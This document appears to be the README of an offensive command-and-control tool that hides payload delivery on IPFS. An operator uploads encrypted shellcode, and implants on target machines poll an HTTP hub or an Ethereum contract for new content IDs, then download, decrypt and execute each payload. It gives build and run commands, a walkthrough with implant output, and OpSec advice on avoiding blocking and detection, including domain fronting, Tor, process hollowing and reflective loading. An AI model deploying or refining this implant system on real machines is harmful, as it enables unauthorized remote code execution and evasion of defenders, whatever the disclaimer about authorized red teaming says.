noPROXY_c2s/c2s_ipfs_payloads/README.md

13 KiB

C2 IPFS Payload Delivery System 🖤

Decentralized payload delivery using IPFS + AES-256-GCM encryption. No C2 server IP to block — payloads live on IPFS, implants fetch them from any public gateway.

Architecture

┌──────────────┐     ┌──────────────┐     ┌──────────────┐
│  Operator     │────▶│  CID Source   │────▶│  Implant     │
│  Console      │     │  (HTTP or     │     │              │
│  (server)     │     │   Contract)   │     │  (client)    │
└──────┬───────┘     └──────┬─────────┘     └──────┬───────┘
       │                    │                      │
       │  encrypt + upload  │  serves CID          │  polls for CID
       ▼                    ▼                      ▼
   ┌─────────┐        ┌──────────┐          ┌──────────┐
   │ IPFS    │        │ Implants │          │ IPFS     │
   │ Network │◀───────│ poll CID │◀─────────│ Gateways │
   └─────────┘        └──────────┘          └──────────┘

Data Flow

  1. Operator encrypts a payload binary with AES-256-GCM and uploads it to IPFS
  2. Operator publishes the resulting CID to the CID source (HTTP hub or smart contract)
  3. Implant polls the CID source periodically with jitter
  4. Implant detects a new CID, downloads the encrypted payload from any IPFS gateway
  5. Implant decrypts with the pre-shared key, executes, reports status

Modes

MODE A — Simple HTTP CID Hub (Default, No Blockchain)

A lightweight HTTP server that serves CIDs. The implant polls GET /cid.

Pros: Simple, no blockchain knowledge needed, no gas costs.

┌──────────┐    GET /cid     ┌──────────┐
│  Server   │◀──────────────│  Implant  │
│  :8443    │    ──────────▶│           │
└────┬─────┘    POST /cid   └──────────┘
     │
     │  POST /cid {"cid":"Qm..."}
     │
  ┌──┴──┐
  │Operator│
  └──────┘

MODE B — Smart Contract CID Feed (Fully Decentralized)

A smart contract emits NewCID events. The implant watches the event log on-chain.

Pros: Fully decentralized, censorship-resistant, transparent.

Cons: Requires ETH for gas, go-ethereum build, chain knowledge.

┌──────────┐  emit NewCID   ┌─────────────┐    ┌──────────┐
│ Operator  │──────────────▶│ Smart        │    │ Implant  │
│ Wallet    │               │ Contract     │◀───│ (watcher)│
└──────────┘               └──────┬───────┘    └──────────┘
                                  │
                              ┌───▼───┐
                              │ Events │
                              │ (logs) │
                              └───────┘

Quick Start (Mode A — 5 minutes)

1. Build

# Clone or cd into the project
cd c2-ipfs-payload

# Build all tools
go build -o server ./cmd/server
go build -o client ./cmd/client
go build -o upload ./cmd/upload

# Or build the ethereum-enabled versions
go build -tags ethereum -o server-eth ./cmd/server
go build -tags ethereum -o client-eth ./cmd/client

2. Start IPFS

See IPFS_UPLOAD.md for detailed setup.

# Install and start IPFS daemon
ipfs init && ipfs daemon &

3. Start the Server

./server --port 8443

The server will:

  • Generate a new encryption key (save this!)
  • Start the HTTP CID hub on port 8443
  • Open the operator console

4. Deploy a Payload

In the operator console:

> deploy /path/to/payload.bin

Or manually:

# Using the upload helper
./upload -key $(cat key.txt) -file payload.bin

# Then in the console:
> cid QmX...

5. Start the Implant

./client \
  --cid-source http://your-server:8443 \
  --decryption-key <key-from-server> \
  --poll-interval 30

Server Reference

Flags

Flag Default Description
--port 8443 HTTP server port (mode A)
--user "" Basic auth username (mode A)
--pass "" Basic auth password (mode A)
--jwt "" JWT token (overrides basic auth)
--mode "http" Operation mode: http or contract
--ipfs-api http://127.0.0.1:5001/api/v0 IPFS API URL
--pinata-jwt "" Pinata.cloud JWT (alternative IPFS)
--enc-key "" Encryption key (auto-generates if empty)
--contract "" Contract address (mode B)
--rpc-url "" Ethereum RPC URL (mode B)
--max-history 100 Max history entries

Console Commands

Command Description
deploy <file> Encrypt, upload to IPFS, update CID
cid <cid> Manually set a CID
encrypt <file> Encrypt a file and upload to IPFS
status Show current state
history Show recent CID history
genkey Generate a new encryption key
help Show help
exit Shutdown

API Endpoints (Mode A)

Method Path Auth Description
GET /cid Optional Get current CID
POST /cid Optional Set a new CID
GET /history Optional Get recent CIDs
GET /status Optional Server status
GET / No API info

Example:

# Set CID
curl -X POST http://server:8443/cid \
  -H "Content-Type: application/json" \
  -d '{"cid":"QmX...","note":"stage2 payload"}'

# Get current CID
curl http://server:8443/cid

# Get history
curl http://server:8443/history

Auth:

# With basic auth
curl -u admin:password http://server:8443/cid

# With JWT
curl -H "Authorization: Bearer <token>" http://server:8443/cid

Client Reference

Flags

Flag Default Description
--cid-source (required) CID hub URL (mode A) or contract addr (mode B)
--decryption-key (required) 32-byte hex key or passphrase
--poll-interval 60 Poll interval in seconds
--mode "http" http or contract
--rpc-url "" Ethereum RPC URL (mode B)
--gateways defaults Comma-sep IPFS gateway URLs
--report-url "" URL to POST execution reports
--config "" Config file for persistence
--jwt-fetch "" JWT for authenticated CID hub access
--id auto Implant ID

Behavior

  • Jittered polling: ±20% of the poll interval (reduces fingerprinting)
  • Multi-gateway fallback: Tries multiple IPFS gateways in random order
  • Config persistence: Saves last CID, implant ID, and config to a JSON file
  • Auto-reporting: Posts execution results to a report URL (optional)
  • Signal handling: Saves state on SIGINT/SIGTERM

Encryption

  • Algorithm: AES-256-GCM (authenticated encryption)
  • Key: 32-byte key (64 hex chars) or arbitrary passphrase (hashed with SHA-256)
  • Output: nonce (12 bytes) || ciphertext || tag (16 bytes)
  • Per-encryption nonce: Each encryption generates a fresh random nonce

Key Management

# Generate a key via server (recommended)
./server  # auto-generates on start

# Generate a key manually
./upload -key <any-32-byte-hex> -file test.bin --no-upload
# Better: use genkey in server console

# Derive from passphrase
./client --decryption-key "my-secret-passphrase"

Smart Contract (Mode B)

Contract Interface

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CIDFeed {
    string public latestCID;
    
    event NewCID(address indexed sender, string cid, uint256 timestamp);
    
    function publishCID(string memory _cid) public {
        latestCID = _cid;
        emit NewCID(msg.sender, _cid, block.timestamp);
    }
}

Deploy and Use

# Build with ethereum support
go build -tags ethereum -o server-eth ./cmd/server

# Start in contract mode
./server-eth \
  --mode contract \
  --contract 0x... \
  --rpc-url https://eth-mainnet.g.alchemy.com/v2/... \
  --enc-key <key>

# Use the console
> send-cid 0x... QmX...

Watching Mode B from the Implant

go build -tags ethereum -o client-eth ./cmd/client

./client-eth \
  --mode contract \
  --cid-source 0x... \
  --rpc-url https://eth-mainnet.g.alchemy.com/v2/... \
  --decryption-key <key>

Payload Workflow Walkthrough

Complete Deployment Cycle

# 1. Build everything
go build -o server ./cmd/server
go build -o client ./cmd/client

# 2. Start IPFS daemon
ipfs daemon &

# 3. Start the server (generates key)
./server --port 8443

# 4. In the server console:
> genkey
New encryption key: a1b2c3d4e5f6... (64 hex chars)

> deploy shellcode.bin
Encrypted shellcode.bin (512 bytes -> 544 bytes encrypted)
Uploading to IPFS...
Uploaded! CID: QmXyZ...
Deployed!

# 5. On the target:
./client \
  --cid-source http://hub.example.com:8443 \
  --decryption-key a1b2c3d4e5f6... \
  --poll-interval 30

# 6. Implant output:
Implant started (ID: aabbccdd, mode: http)
Poll interval: 30s with jitter
CID source: http://hub.example.com:8443
New CID detected: QmXyZ...
Fetching payload from IPFS (544 bytes)...
Decrypted payload (512 bytes), executing...
Payload executed (PID: 12345)

# 7. Deploy the next stage:
> deploy stage2.bin
Deployed! CID: QmAbCd...

Manual Workflow (No IPFS Daemon)

# 1. Encrypt locally
./upload -key <key> -file payload.bin --no-upload

# 2. Upload via Pinata
curl -X POST \
  -H "Authorization: Bearer <pinata-jwt>" \
  -F "file=@payload.bin.enc" \
  https://api.pinata.cloud/pinning/pinFileToIPFS

# 3. Set the CID on the hub
curl -X POST http://server:8443/cid \
  -d '{"cid":"QmFromPinata"}'

OpSec Notes

Network

  • CID hub: Should be behind a CDN (Cloudflare, Fastly) or Tor hidden service
  • IPFS uploads: Use VPN/Tor when connecting to IPFS or Pinata
  • Gateways: Public gateways log IPs. Run your own private gateway for opsec.
  • No persistent C2 infra: No fixed IP that defenders can block — only the hub matters

Encryption

  • Payloads are encrypted before IPFS upload. Content-addressing verifies integrity.
  • Key distribution is the weak point. Use E2EE (Signal, etc.) or dead drops.
  • Key rotation: Change the encryption key periodically. Re-encrypt and redeploy.
  • Passphrases: Use high-entropy passphrases (>80 bits) rather than short passwords.

Implant

  • DNS for CID hubs: Use domain fronting or CDN fronting to hide the hub backend
  • Jittered polling: Reduces fingerprintable patterns
  • Config persistence: Encrypt the config file if saved on disk
  • Runtime detection: Consider reflective loading or process hollowing for the executed payload

This tool is for authorized red teaming, penetration testing, and security research. Do not use against systems you do not own or have explicit written permission to test.

Build Requirements

  • Go 1.21+
  • IPFS (optional, for local uploads) — Install Guide
  • go-ethereum (optional, for mode B) — go get github.com/ethereum/go-ethereum

Platform Support

Platform Mode A Mode B
Linux x86_64 YES YES
Linux arm64 YES YES
macOS x86_64/arm64 YES YES
Windows (cross-compile) YES x (CGo)
OpenBSD/FreeBSD YES x

Project Structure

c2-ipfs-payload/
├── cmd/
│   ├── server/main.go      # Operator console + CID hub
│   ├── client/main.go      # Implant
│   └── upload/main.go      # Helper: encrypt + upload
├── pkg/
│   ├── types/types.go      # Shared data types
│   ├── crypto/crypto.go    # AES-256-GCM encryption
│   ├── ipfs/ipfs.go        # IPFS upload/download
│   ├── auth/auth.go        # HTTP auth middleware
│   └── contract/
│       ├── contract.go     # Contract interface (no deps)
│       └── contract_eth.go # go-ethereum implementation
├── README.md               # This file
└── IPFS_UPLOAD.md          # IPFS setup guide

DISCLAIMER: FOR AUTHORIZED SECURITY TESTING OR EDUCATIONAL PURPOSES ONLY